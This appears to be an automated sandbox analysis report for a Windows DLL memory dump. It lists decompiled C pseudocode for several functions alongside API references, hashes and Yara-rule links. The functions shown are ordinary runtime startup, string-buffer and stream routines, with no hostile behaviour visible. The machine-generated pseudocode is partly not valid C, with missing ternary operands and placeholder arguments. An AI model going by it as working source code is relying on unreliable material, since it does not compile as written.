				void* _t93;
				void* _t96;
				intOrPtr* _t98;
				void* _t99;
				intOrPtr* _t100;
				intOrPtr* _t101;
				intOrPtr* _t102;
				intOrPtr* _t103;
				void* _t105;

				_t96 = __edx;
				_t85 = __ecx;
				E10009070(0x1000b718, 0x10);
				_t37 = E10008431(_t85, 0);
				_pop(_t86);
				if(_t37 == 0) {
					L11:
					_t38 = 0;
					__eflags = 0;
					goto L12;
				} else {
					 *((char*)(_t105 - 0x1d)) = E10008336();
					_t83 = 1;
					 *((char*)(_t105 - 0x19)) = 1;
					 *(_t105 - 4) =  *(_t105 - 4) & 0x00000000;
					if( *0x1000d26c != 0) {
						E10008F4A(_t96, __edi, _t99, 7);
						asm("int3");
						E10009070(0x1000b738, 0xc);
						_t43 =  *0x1000d594; // 0x1
						__eflags = _t43;
						if(_t43 <= 0) {
							L18:
							_t44 = 0;
							__eflags = 0;
							goto L19;
						} else {
							 *0x1000d594 = _t43 - 1;
							 *((char*)(_t105 - 0x1c)) = E10008336();
							 *(_t105 - 4) =  *(_t105 - 4) & 0x00000000;
							__eflags =  *0x1000d26c - 2;
							if( *0x1000d26c != 2) {
								E10008F4A(_t96, __edi, _t99, 7);
								asm("int3");
								E10009070(0x1000b758, 0x10);
								_t98 =  *((intOrPtr*)(_t105 + 0xc));
								__eflags = _t98;
								if(_t98 != 0) {
									L24:
									 *(_t105 - 4) =  *(_t105 - 4) & 0x00000000;
									__eflags = _t98 - 1;
									if(_t98 == 1) {
										L27:
										_t100 =  *0x1000a270; // 0x0
										_t84 =  *((intOrPtr*)(_t105 + 0x10));
										__eflags = _t100;
										if(_t100 != 0) {
											_t86 = _t100;
											 *0x1000a22c( *((intOrPtr*)(_t105 + 8)), _t98, _t84);
											_t101 =  *_t100();
											 *((intOrPtr*)(_t105 - 0x1c)) = _t101;
											__eflags = _t101;
											if(_t101 != 0) {
												goto L30;
											}
										} else {
											 *((intOrPtr*)(_t105 - 0x1c)) = 1;
											L30:
											_t101 = E1000898F(_t86,  *((intOrPtr*)(_t105 + 8)), _t98, _t84);
											 *((intOrPtr*)(_t105 - 0x1c)) = _t101;
											__eflags = _t101;
											if(_t101 != 0) {
												goto L31;
											}
										}
									} else {
										__eflags = _t98 - 2;
										if(_t98 == 2) {
											goto L27;
										} else {
											_t84 =  *((intOrPtr*)(_t105 + 0x10));
											L31:
											_push(_t84);
											_push(_t98);
											_push( *((intOrPtr*)(_t105 + 8)));
											_t57 = E100081B0();
											_t101 = _t57;
											 *((intOrPtr*)(_t105 - 0x1c)) = _t101;
											__eflags = _t98 - 1;
											if(_t98 == 1) {
												__eflags = _t101;
												if(_t101 == 0) {
													_push(_t84);
													_push(_t57);
													_push( *((intOrPtr*)(_t105 + 8)));
													E100081B0();
													E1000898F(_t86,  *((intOrPtr*)(_t105 + 8)), _t101, _t84);
													_t63 =  *0x1000a270; // 0x0
													 *((intOrPtr*)(_t105 - 0x20)) = _t63;
													__eflags = _t63;
													if(_t63 != 0) {
														_t86 = _t63;
														 *0x1000a22c( *((intOrPtr*)(_t105 + 8)), _t101, _t84);
														 *((intOrPtr*)(_t105 - 0x20))();
													}
												}
											}
											__eflags = _t98;
											if(_t98 == 0) {
												L37:
												_t101 = E1000898F(_t86,  *((intOrPtr*)(_t105 + 8)), _t98, _t84);
												 *((intOrPtr*)(_t105 - 0x1c)) = _t101;
												__eflags = _t101;
												if(_t101 != 0) {
													_t102 =  *0x1000a270; // 0x0
													__eflags = _t102;
													if(_t102 != 0) {
														 *0x1000a22c( *((intOrPtr*)(_t105 + 8)), _t98, _t84);
														_t101 =  *_t102();
													} else {
														_t101 = _t102 + 1;
													}
													 *((intOrPtr*)(_t105 - 0x1c)) = _t101;
												}
											} else {
												__eflags = _t98 - 3;
												if(_t98 == 3) {
													goto L37;
												}
											}
										}
									}
									 *(_t105 - 4) = 0xfffffffe;
									_t54 = _t101;
								} else {
									__eflags =  *0x1000d594 - _t98; // 0x1
									if(__eflags > 0) {
										goto L24;
									} else {
										_t54 = 0;
									}
								}
								return E100090B6(_t54);
							} else {
								E10009194(E10008401());
								E100091F5();
								 *0x1000d26c =  *0x1000d26c & 0x00000000;
								 *(_t105 - 4) = 0xfffffffe;
								E10008B46();
								_t70 = E100085BB( *((intOrPtr*)(_t105 + 8)), 0);
								__eflags = _t70;
								if(_t70 == 0) {
									goto L18;
								} else {
									_t44 = 1;
								}
								L19:
								return E100090B6(_t44);
							}
						}
					} else {
						 *0x1000d26c = 1;
						if(E10008393() != 0) {
							E10009188(E100091C9());
							_t81 = E100091A6();
							_push(0x1000a248);
							L10009293();
							_t93 = 0x1000a244;
							if(_t81 == 0 && E10008368(_t93) != 0) {
								_push(0x1000a240);
								_push( &E1000A230);
								L1000928D();
								 *0x1000d26c = 2;
								_t83 = 0;
								 *((char*)(_t105 - 0x19)) = 0;
							}
						}
						 *(_t105 - 4) = 0xfffffffe;
						E10008AC5();
						if(_t83 != 0) {
							goto L11;
						} else {
							_t103 = E100091C3();
							if( *_t103 != 0) {
								_push(_t103);
								if(E10008514() != 0) {
									 *0x1000a22c( *((intOrPtr*)(_t105 + 8)), 2,  *((intOrPtr*)(_t105 + 0xc)));
									 *((intOrPtr*)( *_t103))();
								}
							}
							 *0x1000d594 =  *0x1000d594 + 1;
							_t38 = 1;
						}
						L12:
						return E100090B6(_t38);
					}
				}
			}

APIs

__RTC_Initialize.LIBCMT ref: 10008A2F

Part of subcall function 10009188: InitializeSListHead.KERNEL32(1000D5A8,10008A39,1000B718,00000010,100089CA,?,?,?,10008BD4,?,00000001,?), ref: 1000918D

___scrt_initialize_default_local_stdio_options.LIBCMT ref: 10008A39
_initterm_e.API-MS-WIN-CRT-RUNTIME-L1-1-0(1000A244,1000A248,1000B718,00000010,100089CA,?,?,?,10008BD4,?,00000001,?), ref: 10008A48
_initterm.API-MS-WIN-CRT-RUNTIME-L1-1-0(1000A230,1000A240,1000B718,00000010,100089CA,?,?,?,10008BD4,?,00000001,?), ref: 10008A66
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 10008A99
___scrt_fastfail.LIBCMT ref: 10008AD9

Memory Dump Source

Source File: 00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.873318832.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Initialize$HeadList___scrt_fastfail___scrt_initialize_default_local_stdio_options___scrt_is_nonwritable_in_current_image_initterm_initterm_e
String ID:
API String ID: 598268558-0
Opcode ID: cef1d95ab4472f261aafe379f6ae6046481265cae3224413abf36b03ade51996
Instruction ID: 89fec03aa1bf55bd2aefba5341c6bd52dedba232e891585d5f02420f86841054
Opcode Fuzzy Hash: cef1d95ab4472f261aafe379f6ae6046481265cae3224413abf36b03ade51996
Instruction Fuzzy Hash: 3411B139649352AEFB00EBB88C0679D27A2EF172E5F144056E5C0274CFCB616744DB63

Uniqueness

Uniqueness Score: -1.00%

Function 10007BE0, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?,10003B99,?,?,?,?,10003B99,00000000,00000001), ref: 10007CC3
memcpy.VCRUNTIME140(00000000,?,?,10003B99,?,?,?,?,10003B99,00000000,00000001), ref: 10007D0A

Part of subcall function 1000829F: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,10007CA0,00000000,10003B99,?,?,?,?,10003B99,00000000,00000001), ref: 100082B4

memcpy.VCRUNTIME140(?,10003B99,10003B9A,10003B99,?,?,?,?,10003B99,00000000,00000001), ref: 10007D33
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(10003B99,?,?,?,?,10003B99,00000000,00000001), ref: 10007D73

Strings

string too long, xrefs: 10007BD0

Memory Dump Source

Source File: 00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.873318832.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnmalloc
String ID: string too long
API String ID: 996696-2556327735
Opcode ID: 268c6c9863bfeedf4e6c13dd11c37cca0d881ad4a9843b8d2b1a834850fb3cfb
Instruction ID: 96d7b4425fdc940aed69e0e0c114300ab389c41f4631f635d7dde294573f3066
Opcode Fuzzy Hash: 268c6c9863bfeedf4e6c13dd11c37cca0d881ad4a9843b8d2b1a834850fb3cfb
Instruction Fuzzy Hash: B341F772E006049BF728CF78D88096EB7F6FF84290B20073EE55AC7289EB34A9558751

Uniqueness

Uniqueness Score: -1.00%

Function 10006610, Relevance: 7.7, APIs: 5, Instructions: 208
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E10006610(void* __ebx, signed int __ecx, void* __edi, void* __esi, signed int _a4) {
				char _v8;
				char _v16;
				signed int _v20;
				int _v21;
				intOrPtr _v28;
				char _v32;
				char _v48;
				char _v52;
				char _v56;
				int _v60;
				char _v64;
				void* __ebp;
				signed int _t73;
				signed int _t74;
				signed int _t76;
				void* _t85;
				intOrPtr _t88;
				int _t104;
				signed int _t112;
				signed int _t113;
				int _t116;
				signed int _t120;
				signed int _t125;
				int _t128;
				intOrPtr _t129;
				signed int _t131;
				intOrPtr _t133;
				signed int _t134;
				char* _t139;
				char _t141;
				char _t142;
				intOrPtr _t144;
				intOrPtr* _t146;
				intOrPtr _t148;
				void* _t150;
				intOrPtr* _t151;
				signed int _t152;
				void* _t153;
				void* _t154;

				_push(0xffffffff);
				_push(E100098B8);
				_push( *[fs:0x0]);
				_t154 = _t153 - 0x30;
				_t73 =  *0x1000d004; // 0xa8dded82
				_t74 = _t73 ^ _t152;
				_v20 = _t74;
				_push(_t74);
				 *[fs:0x0] =  &_v16;
				_t112 = __ecx;
				_t116 = _a4;
				if(_t116 != 0xffffffff) {
					_t76 =  *(__ecx + 0x20);
					_t135 =  *_t76;
					if(_t135 == 0) {
						L5:
						if( *(_t112 + 0x4c) != 0) {
							_t146 =  *((intOrPtr*)(_t112 + 0xc));
							if( *_t146 == _t112 + 0x3c) {
								_t133 =  *((intOrPtr*)(_t112 + 0x50));
								 *_t146 = _t133;
								_t135 =  *((intOrPtr*)(_t112 + 0x54)) - _t133;
								 *((intOrPtr*)( *((intOrPtr*)(_t112 + 0x1c)))) = _t133;
								_t116 = _a4;
								 *((intOrPtr*)( *((intOrPtr*)(_t112 + 0x2c)))) =  *((intOrPtr*)(_t112 + 0x54)) - _t133;
							}
							if( *(_t112 + 0x38) != 0) {
								_push(0);
								_v21 = _t116;
								_v32 = 0;
								_v28 = 0xf;
								_v48 = 0;
								E10006B80(_t112,  &_v48, _t135, 8);
								_v8 = 0;
								while(1) {
									L12:
									_t141 = _v48;
									while(1) {
										_t137 =  >=  ? _t141 :  &_v48;
										_t119 =  >=  ? _t141 :  &_v48;
										_t81 = _v32 + ( >=  ? _t141 :  &_v48);
										_t120 =  *(_t112 + 0x38);
										_t85 = _t112 + 0x40;
										__imp__?out@?$codecvt@DDU_Mbstatet@@@std@@QBEHAAU_Mbstatet@@PBD1AAPBDPAD3AAPAD@Z(_t85,  &_v21,  &_v20,  &_v56,  >=  ? _t141 :  &_v48, _v32 + ( >=  ? _t141 :  &_v48),  &_v52);
										if(_t85 < 0) {
											break;
										}
										if(_t85 > 1) {
											if(_t85 != 3) {
												break;
											}
											fputc(_v21,  *(_t112 + 0x4c));
											_t148 = _v28;
											_t125 = _t120 | 0xffffffff;
											_t142 = _v48;
											_t154 = _t154 + 8;
											_t126 =  !=  ? _a4 : _t125;
											_t113 =  !=  ? _a4 : _t125;
											L28:
											if(_t148 >= 0x10) {
												_t150 = _t148 + 1;
												_t88 = _t142;
												if(_t150 >= 0x1000) {
													_t142 =  *((intOrPtr*)(_t142 - 4));
													_t150 = _t150 + 0x23;
													if(_t88 > 0x1f) {
														__imp___invalid_parameter_noinfo_noreturn();
													}
												}
												_push(_t150);
												E10008291(_t88, _t142);
											}
											_t86 = _t113;
											goto L34;
										}
										_t148 = _v28;
										_t142 = _v48;
										_t94 =  >=  ? _t142 :  &_v48;
										_t128 = _v52 - ( >=  ? _t142 :  &_v48);
										_v60 = _t128;
										if(_t128 == 0) {
											L17:
											 *((char*)(_t112 + 0x3d)) = 1;
											if(_v56 !=  &_v21) {
												_t113 = _a4;
												goto L28;
											}
											if(_t128 != 0) {
												continue;
											}
											_t129 = _v32;
											if(_t129 >= 0x20) {
												L27:
												_t113 = _t112 | 0xffffffff;
												goto L28;
											}
											if(_t148 - _t129 < 8) {
												_push(0);
												_v64 = 0;
												E10007880(_t112,  &_v48, _t142, 8, _v64, 8);
											} else {
												_t53 = _t129 + 8; // 0x8
												_v32 = _t53;
												asm("xorps xmm0, xmm0");
												_t101 =  >=  ? _t142 :  &_v48;
												asm("movq [eax+ecx], xmm0");
												 *((char*)(( >=  ? _t142 :  &_v48) + _t129 + 8)) = 0;
											}
											goto L12;
										}
										_t103 =  >=  ? _t142 :  &_v48;
										_t104 = fwrite( >=  ? _t142 :  &_v48, 1, _t128,  *(_t112 + 0x4c));
										_t128 = _v60;
										_t154 = _t154 + 0x10;
										_t148 = _v28;
										_t142 = _v48;
										if(_t128 != _t104) {
											goto L27;
										}
										goto L17;
									}
									_t148 = _v28;
									_t142 = _v48;
									goto L27;
								}
							} else {
								fputc(_t116,  *(_t112 + 0x4c));
								_t131 = _t116 | 0xffffffff;
								_t132 =  !=  ? _a4 : _t131;
								_t86 =  !=  ? _a4 : _t131;
								goto L34;
							}
						}
						_t86 = _t76 | 0xffffffff;
						goto L34;
					}
					_t151 =  *((intOrPtr*)(__ecx + 0x30));
					_t144 =  *_t151;
					_t76 = _t144 + _t135;
					if(_t135 >= _t76) {
						goto L5;
					}
					 *_t151 = _t144 - 1;
					_t134 =  *(__ecx + 0x20);
					_t139 =  *_t134;
					 *_t134 = _t139 + 1;
					_t86 = _a4;
					 *_t139 = _a4;
					goto L34;
				} else {
					_t86 = 0;
					L34:
					 *[fs:0x0] = _v16;
					return E10008280(_t86, _v20 ^ _t152);
				}
			}

Memory Dump Source

Source File: 00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.873318832.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55aba253fde2aa06e21a5bb79fac02627dbcd114ab42efe2f017eaa067c89f51
Instruction ID: ca3b6dd19dbdb0270b079e30f51a21bc58b2ec8c7dfed17ac4a36ea28d3ee1f1
Opcode Fuzzy Hash: 55aba253fde2aa06e21a5bb79fac02627dbcd114ab42efe2f017eaa067c89f51
Instruction Fuzzy Hash: EE81A231E00109DFEF04CF68CC84A9DB7B6FF49350F648269E955AB285DB31A944CB90

Uniqueness

Uniqueness Score: -1.00%

Function 10007880, Relevance: 7.6, APIs: 5, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E10007880(void* __ebx, void* __ecx, void* __edi, intOrPtr _a4, int _a12, char _a16) {
				int _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				signed int _v36;
				void* _v48;
				intOrPtr _v56;
				signed int _t80;
				signed int _t82;
				unsigned int _t84;
				void* _t85;
				void* _t100;
				void* _t101;
				signed int _t103;
				signed int _t104;
				unsigned int _t106;
				void* _t107;
				void* _t123;
				void* _t124;
				intOrPtr _t126;
				void* _t129;
				signed int _t141;
				void* _t143;
				signed int _t148;
				void* _t150;
				signed int _t151;
				signed int _t152;
				void* _t153;
				void* _t155;
				void* _t158;
				signed int _t163;
				void* _t164;
				void* _t166;
				intOrPtr _t169;
				void* _t170;
				signed int _t174;
				void* _t175;
				void* _t177;
				void* _t179;
				void* _t186;
				void* _t187;
				void* _t194;

				_t128 = __ecx;
				_t169 = _a4;
				_t151 =  *(__ecx + 0x10);
				_v8 = _t151;
				if(0x7fffffff - _t151 < _t169) {
					L10007BD0(0x7fffffff);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_t187 = _t186 - 0x10;
					_push(__ecx);
					_t129 = 0x7fffffff;
					_v48 = _v16;
					_push(_t169);
					_t152 =  *0x8000000F;
					_t170 = _v24;
					_v36 = _t152;
					__eflags = 0x7fffffff - _t152 - _t170;
					if(0x7fffffff - _t152 < _t170) {
						L10007BD0(0x7fffffff);
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("xorps xmm0, xmm0");
						 *0x7fffffff = 0x1000a278;
						asm("movq [eax], xmm0");
						_t80 = _v56 + 4;
						__eflags = _t80;
						__imp____std_exception_copy(_t80, 0x80000003, _t170);
						 *0x7fffffff = 0x1000a720;
						return 0x7fffffff;
					} else {
						_t158 =  *0x80000013;
						_t82 = _t152 + _t170;
						_v16 = _t82;
						_t174 = _t82 | 0x0000000f;
						_v20 = _t158;
						__eflags = _t174 - 0x7fffffff;
						if(__eflags <= 0) {
							_t84 = _t158 >> 1;
							__eflags = _t158 - 0x7fffffff - _t84;
							if(__eflags <= 0) {
								_t85 = _t158 + _t84;
								__eflags = _t174 - _t85;
								_t175 =  <  ? _t85 : _t174;
							} else {
								_t175 = 0x7fffffff;
							}
						} else {
							_t175 = 0x7fffffff;
						}
						_t141 =  ~(0 | __eflags > 0x00000000) | _t175 + 0x00000001;
						__eflags = _t141 - 0x1000;
						if(_t141 < 0x1000) {
							__eflags = _t141;
							if(_t141 == 0) {
								_t158 = 0;
								__eflags = 0;
							} else {
								_push(_t141); // executed
								_t100 = E1000829F(_t152); // executed
								_t152 = _v12;
								_t187 = _t187 + 4;
								_t158 = _t100;
							}
							goto L32;
						} else {
							_t46 = _t141 + 0x23; // 0x23
							_t101 = _t46;
							__eflags = _t101 - _t141;
							_t102 =  <=  ? _t152 | 0xffffffff : _t101;
							_push( <=  ? _t152 | 0xffffffff : _t101);
							_t103 = E1000829F(_t152 | 0xffffffff);
							_t187 = _t187 + 4;
							__eflags = _t103;
							if(_t103 == 0) {
								L37:
								__imp___invalid_parameter_noinfo_noreturn();
								goto L38;
							} else {
								_t152 = _v12;
								_t48 = _t103 + 0x23; // 0x23
								_t158 = _t48 & 0xffffffe0;
								 *(_t158 - 4) = _t103;
								L32:
								 *((intOrPtr*)(_t129 + 0x10)) = _v16;
								 *(_t129 + 0x14) = _t175;
								_t175 = _t158 + _t152;
								_v16 = _t175;
								__eflags = _v20 - 0x10;
								_v12 = _t175 + _a12;
								_push(_t152);
								if(_v20 < 0x10) {
									L38:
									memcpy(_t158, _t129, ??);
									memcpy(_t175, _v24, _a12);
									 *_v12 = 0;
									 *_t129 = _t158;
									return _t129;
								} else {
									_t177 =  *_t129;
									memcpy(_t158, _t177, ??);
									memcpy(_v16, _v24, _a12);
									_t97 = _v12;
									_t187 = _t187 + 0x18;
									_t143 = _v20 + 1;
									 *_v12 = 0;
									__eflags = _t143 - 0x1000;
									if(_t143 < 0x1000) {
										L36:
										_push(_t143);
										E10008291(_t97, _t177); // executed
										 *_t129 = _t158;
										return _t129;
									} else {
										_t153 =  *(_t177 - 4);
										_t143 = _t143 + 0x23;
										_t175 = _t177 - _t153;
										_t65 = _t175 - 4; // 0x7ffffffb
										_t97 = _t65;
										__eflags = _t65 - 0x1f;
										if(_t65 > 0x1f) {
											goto L37;
										} else {
											_t177 = _t153;
											goto L36;
										}
									}
								}
							}
						}
					}
				} else {
					_t104 = _t151 + _t169;
					_t179 =  *(__ecx + 0x14);
					_v12 = _t104;
					_t163 = _t104 | 0x0000000f;
					_v16 = _t179;
					_t194 = _t163 - 0x7fffffff;
					if(_t194 <= 0) {
						_t106 = _t179 >> 1;
						__eflags = _t179 - 0x7fffffff - _t106;
						if(_t179 <= 0x7fffffff - _t106) {
							_t107 = _t179 + _t106;
							__eflags = _t163 - _t107;
							_t164 =  <  ? _t107 : _t163;
						} else {
							_t164 = 0x7fffffff;
						}
					} else {
						_t164 = 0x7fffffff;
					}
					_t148 =  ~(0 | _t194 > 0x00000000) | _t164 + 0x00000001;
					if(_t148 < 0x1000) {
						__eflags = _t148;
						if(_t148 == 0) {
							_t179 = 0;
							__eflags = 0;
						} else {
							_push(_t148);
							_t123 = E1000829F(_t151);
							_t151 = _v8;
							_t186 = _t186 + 4;
							_t179 = _t123;
						}
						goto L12;
					} else {
						_t10 = _t148 + 0x23; // 0x23
						_t124 = _t10;
						_t125 =  <=  ? _t151 | 0xffffffff : _t124;
						_push( <=  ? _t151 | 0xffffffff : _t124);
						_t126 = E1000829F(_t151 | 0xffffffff);
						_t186 = _t186 + 4;
						if(_t126 == 0) {
							L17:
							__imp___invalid_parameter_noinfo_noreturn();
							goto L18;
						} else {
							_t151 = _v8;
							_t12 = _t126 + 0x23; // 0x23
							_t179 = _t12 & 0xffffffe0;
							 *((intOrPtr*)(_t179 - 4)) = _t126;
							L12:
							 *((intOrPtr*)(_t128 + 0x10)) = _v12;
							_v8 = _a16;
							 *(_t128 + 0x14) = _t164;
							_t164 = _t179 + _t151;
							_v20 = _t164;
							_v12 = _t164 + _a12;
							_push(_t151);
							if(_v16 < 0x10) {
								L18:
								memcpy(_t179, _t128, ??);
								memset(_t164, _v8, _a12);
								 *_v12 = 0;
								 *_t128 = _t179;
								return _t128;
							} else {
								_t166 =  *_t128;
								memcpy(_t179, _t166, ??);
								memset(_v20, _v8, _a12);
								_t120 = _v12;
								_t186 = _t186 + 0x18;
								_t150 = _v16 + 1;
								 *_v12 = 0;
								if(_t150 < 0x1000) {
									L16:
									_push(_t150);
									E10008291(_t120, _t166);
									 *_t128 = _t179;
									return _t128;
								} else {
									_t155 =  *(_t166 - 4);
									_t150 = _t150 + 0x23;
									_t164 = _t166 - _t155;
									_t31 = _t164 - 4; // 0x7ffffffb
									_t120 = _t31;
									if(_t31 > 0x1f) {
										goto L17;
									} else {
										_t166 = _t155;
										goto L16;
									}
								}
							}
						}
					}
				}
			}

APIs

memcpy.VCRUNTIME140(00000000,7FFFFFFF,?,?,00000001), ref: 10007955
memset.VCRUNTIME140(?,?,?,00000000,7FFFFFFF,?,?,00000001), ref: 10007963
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00000001), ref: 100079A6
memcpy.VCRUNTIME140(00000000,?,?,?,00000001), ref: 100079AE
memset.VCRUNTIME140(7FFFFFFF,?,?,00000000,?,?,?,00000001), ref: 100079BA

Part of subcall function 1000829F: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,10007CA0,00000000,10003B99,?,?,?,?,10003B99,00000000,00000001), ref: 100082B4

Memory Dump Source

Source File: 00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.873318832.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: memcpymemset$_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 3375828981-0
Opcode ID: af2d60daf6a29722e1e2a2179120d623f5ce9f8a1d374052780dfa4ff7946ba6
Instruction ID: 79258078bcb8deb8d668611de86ea3bd7e0985ba8efcaa1184a8daf6fe95a8c4
Opcode Fuzzy Hash: af2d60daf6a29722e1e2a2179120d623f5ce9f8a1d374052780dfa4ff7946ba6
Instruction Fuzzy Hash: B9410772E00114AFEB05DF68CC8096EB7A5FF85390F154269E855D7349DB34DE118791

Uniqueness

Uniqueness Score: -1.00%

Function 10007FA0, Relevance: 7.6, APIs: 5, Instructions: 139COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?,?,?,1000A544,?), ref: 1000806F
memcpy.VCRUNTIME140(?,?,?,00000000,?,?,?,?,1000A544,?), ref: 1000807D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,1000A544,?), ref: 100080BA
memcpy.VCRUNTIME140(00000000,?,?,?,?,1000A544,?), ref: 100080C0
memcpy.VCRUNTIME140(?,1000A544,?,00000000,?,?,?,?,1000A544,?), ref: 100080CA

Part of subcall function 1000829F: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,10007CA0,00000000,10003B99,?,?,?,?,10003B99,00000000,00000001), ref: 100082B4

Memory Dump Source

Source File: 00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.873318832.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 996696-0
Opcode ID: 4ff70d3219bf49ec1abb5defcaaae90bff4aa97d71c4abc292834d816ab796bc
Instruction ID: fc57ef4a54552e0fc3c2de3e798568928a643fb7858f8b655ff4ade37b41a1af
Opcode Fuzzy Hash: 4ff70d3219bf49ec1abb5defcaaae90bff4aa97d71c4abc292834d816ab796bc
Instruction Fuzzy Hash: 764102B2E001149FEB14DF68CC8146EB7E9FF84290B11027AE955D7349EB30EE158B91

Uniqueness

Uniqueness Score: -1.00%

Function 10005E00, Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

??0?$basic_ios@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(A8DDED82,?), ref: 10005E3F
??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QAE@PAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140(?,00000000,00000000), ref: 10005E5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140 ref: 10005E87
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXXZ.MSVCP140 ref: 10005EA1

Memory Dump Source

Source File: 00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.873318832.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_ios@??0?$basic_ostream@??0?$basic_streambuf@D@std@@@1@_Init@?$basic_streambuf@V?$basic_streambuf@
String ID:
API String ID: 1632471084-0
Opcode ID: 4563b94c791f073edfa830b3ecf2b5a75cac8ddb84afc98a3b73d811f3ad360d
Instruction ID: 89f476ec67f3a451a741a1f46f17046943b916a65ce248f6aa0c8752b3f78ff3
Opcode Fuzzy Hash: 4563b94c791f073edfa830b3ecf2b5a75cac8ddb84afc98a3b73d811f3ad360d
Instruction Fuzzy Hash: 9E21BDB0900714DFD710CF08C944B9AFBF8FB09304F10421EE90593790C7B5A904CB90

Uniqueness

Uniqueness Score: -1.00%

Function 100090EE, Relevance: 6.0, APIs: 4, Instructions: 26
timethreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E100090EE() {
				void* _v8;
				struct _FILETIME _v16;
				signed int _v20;
				union _LARGE_INTEGER _v24;

				_v16.dwLowDateTime = _v16.dwLowDateTime & 0x00000000;
				_v16.dwHighDateTime = _v16.dwHighDateTime & 0x00000000;
				GetSystemTimeAsFileTime( &_v16);
				_v8 = _v16.dwHighDateTime ^ _v16.dwLowDateTime;
				_v8 = _v8 ^ GetCurrentThreadId();
				_v8 = _v8 ^ GetCurrentProcessId();
				QueryPerformanceCounter( &_v24);
				return _v20 ^ _v24.LowPart ^ _v8 ^  &_v8;
			}

0x100090f4
0x100090fb
0x10009100
0x1000910c
0x10009115
0x1000911e
0x10009125
0x1000913c

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 10009100
GetCurrentThreadId.KERNEL32 ref: 1000910F
GetCurrentProcessId.KERNEL32 ref: 10009118
QueryPerformanceCounter.KERNEL32(?), ref: 10009125

Memory Dump Source

Source File: 00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.873318832.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 92fa65a40730bdc751819db3b7e5875d360d36ec0527d324778c30a322591491
Instruction ID: f20600a6d8a4d0d9bee0fc4ab4a8dc02b68feff1fdee3217003050f1fb03bf25
Opcode Fuzzy Hash: 92fa65a40730bdc751819db3b7e5875d360d36ec0527d324778c30a322591491
Instruction Fuzzy Hash: 7BF09DB0C1020CEBDB00DBB4C989A9EBBF8FF08301F518995E501E7110E638AB448B51

Uniqueness

Uniqueness Score: -1.00%

Function 10007350, Relevance: 5.1, APIs: 4, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E10007350(intOrPtr __ecx, void** __edx, void* _a4) {
				int _v8;
				void* _v12;
				intOrPtr _v16;
				void* __ebx;
				void* __edi;
				int _t53;
				void _t57;
				void* _t61;
				void* _t80;
				void* _t83;
				void* _t85;
				int _t90;
				intOrPtr _t93;
				void* _t94;

				_t83 = _a4;
				_t92 = __edx;
				_t93 = __ecx;
				_t2 = _t83 + 0x10; // 0x0
				_t90 =  *_t2;
				_v16 = __ecx;
				_a4 = _t90;
				_t85 = __edx[4];
				_t53 = __edx[5] - _t85;
				_v12 = _t85;
				_v8 = _t53;
				if(_t90 <= _t53) {
					L17:
					if( *((intOrPtr*)(_t83 + 0x14)) >= 0x10) {
						_t83 =  *_t83;
					}
					if(_t90 > _t53) {
						_push(_t90);
						_push(_t83);
						_a4 = 0;
						_push(_a4);
						_t92 = E100079E0(_t83, _t92, _t92, _t90);
					} else {
						 *(_t92 + 0x10) = _t85 + _t90;
						_t57 = _t92;
						if( *((intOrPtr*)(_t92 + 0x14)) >= 0x10) {
							_t57 =  *_t92;
						}
						_t94 = _t85 + _t57;
						memmove(_t94, _t83, _t90);
